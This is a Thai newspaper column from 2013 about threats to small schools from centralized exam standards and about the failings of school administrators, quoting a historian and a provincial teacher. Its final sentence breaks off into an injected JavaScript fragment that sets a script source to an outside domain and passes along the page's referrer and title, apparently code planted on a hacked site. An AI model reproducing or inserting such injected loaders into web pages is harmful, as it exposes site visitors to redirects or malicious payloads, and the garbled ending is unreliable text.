มติชนรายวัน ฉบับประจำวันอังคารที่ 4 มิถุนายน 2556

 

          โรงเรียนขนาดเล็ก แม้ไม่ถูกยุบเลิกหรือควบรวม แต่ก็ต้องโดนเขมือบด้วย“มาตรฐาน” การศึกษาจากส่วนกลาง จนอาจดำรงอยู่ไม่ได้ในระยะยาว

          เว้นเสียแต่ว่าจะร่วมกันสร้างใหม่ “มาตรฐาน” การศึกษาจากความหลากหลาย

          อ. นิธิ  เอียวศรีวงศ์  เขียนบอกเรื่องอื่น แต่บังเอิญสอดคล้องเรื่องนี้ (ในมติชน รายวัน ฉบับวันจันทร์ที่ 20 พฤษภาคม 2556 หน้า 6) ดังนี้

          “ระบบการเรียนรู้ที่เหมาะสมกับโลกปัจจุบัน กลับย้อนไปเหมือนกับระบบโบราณ

          นั่นคือระบบที่ตอบสนองความต้องการปัจเจก อย่างที่พระเจ้าตาสอนลูกกษัตริย์กับลูกช่างไม้ต่างกัน

          เพียงแต่ว่าจะสร้างลักษณะปัจเจกในการศึกษามวลชนของปัจจุบันได้อย่างไร ซึ่งก็มีการพัฒนากลวิธีที่ทำให้การศึกษาเข้าถึงความหลากหลายของมนุษย์ในโลกปัจจุบันขึ้นได้หลายวิธี”

          แต่ อ. นิธิ  สรุปให้เห็นความล้มเหลวว่า “ความพยายามทั้งหมดเหล่านี้ถูกทำให้เป็นหมันหมด ด้วยข้อสอบมาตรฐาน”

          ผู้บริหารโรงเรียนก็มีส่วนให้เกิดความล้มเหลวทางการศึกษา ไม่ว่าโรงขนาดไหน?

          ครูแก่ วิฑูรย์ ศรีเมือง (จาก อ. สิชล จ. นครศรีธรรมราช) เขียนเล่าปัญหาผู้บริหารโรงเรียนมาดังนี้

          ปัจจุบันผู้บริหารโรงเรียนเก่งทุกคน แต่ส่วนใหญ่เก่งในทางอ่านหนังสือตำราเพื่อการสอบเท่านั้น สอบทุกครั้งติดทุกครั้ง แต่การบริหารโรงเรียนไม่ผ่านในสายตาของคนที่ทำงาน แต่ถ้าเมื่อไหร่ที่หน่วยงานเหนือมาประเมินจะผ่านฉลุยทุกครั้งเพราะเอื้อให้ต่อกัน

          ปัญหา

          ผู้บริหารมีการทำงานแบบรักษาตัวรอด ถึงไม่มีผลงานเด่น แต่ลูกน้องไม่เกลียด ชาวบ้านเห็นหน้าอยู่บ้างก็พอ

          ผู้บริหารอยู่โรงเรียนใดโรงเรียนหนึ่งนานเกินไป บางคนอยู่ถึง 20 ปี บางคนทำงานเป็น บางคนทำงานไม่เป็น ถ้าโรงเรียนได้ผู้บริหารเก่งก็พอไหว ถ้าได้ผู้บริหารไม่เก่ง ครูเหมือนตกนรกทั้งเป็น ถูกกดดัน โรงเรียนไม่พัฒนา ทำให้ครูผู้สอนหนักใจ

          –  ไม่มีแผนในการทำงาน แล้วแต่นายสั่ง

          –  ไม่อยู่โรงเรียน บางคน 1 สัปดาห์ ไม่เข้าโรงเรียนเลย

            ครูถึงแม้จะมีความสามารถมาก ถ้าผู้บริหารไม่เห็นด้วย ครูผู้นั้นจะไม่สามารถนำความรู้ที่ตัวเองได้รับมาใช้ประโยชน์ในโรงเรียนได้เลย เหมือนกับผู้บริหารฆ่าความคิดของครูให้ตายไปกับตัว ไม่สามารถเอาความรู้มาใช้ประโยชน์ให้กับเด็กกับโรงเรียนได้เลย

          แนวทางแก้ไข

            ผู้บริหารควรอยู่โรงเรียนใดโรงเรียนหนึ่งไม่เกิน 5 ปี

            ผู้บริหารต้องมีวิสัยทัศน์ก้าวไกล มียุทธศาสตร์ของตัวเองในการพัฒนาโรงเรียน ต้องทำยุทธศาสตร์ 5 ปี มีหน่วยงานอิสระเป็นผู้ประเมินการทำงาน ถ้าประเมินแล้วไม่ผ่านเกิน 2 ครั้ง ให้กลับมาเป็นครูผู้สอนตามเดิม

            การสอบผู้บริหารต้องสอบประวัติการทำงานช่วงเป็นครูผู้สอนอย่างรัดกุม ขี้เกียจสอน ขี้เมา มีปัญหากับเพื่อนครู ชู้สาว ไม่สมควรให้สอบ ส่วนใหญ่เรามีผู้บริหารแบบขี้เกียจสอน จึงมาสอบผู้บริหาร

          ผมไม่เคยมีประสบการณ์ตรงเหมือนเรื่องที่ครูแก่ วิฑูรย์ เขียนบอกเล่ามา แต่คนในท้องถิ่นที่ผมรู้จัก มักบอกเล่าทำนองนี้ให้ฟังเสมอ แม้จนปัจจุบัน

          ตราบใดที่โครงสร้างอำนาจยังดำรงอยู่อย่างนี้ ผู้บริหารโรงเรียนย่อมดำรงอยู่อย่างนั้น ไม่มีวันเปลี่ยนให้ดีขึ้นได้

          แค่ให้เสรีภาพทรงผมนักเรียนก็มีปัญหาราวจะสิ้นชาติ (เพราะอำนาจครูลดลง) ต่อไปต้องให้เสรีภาพเครื่องแต่งตัวอีก คงถึงขั้นชาติสิ้นs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;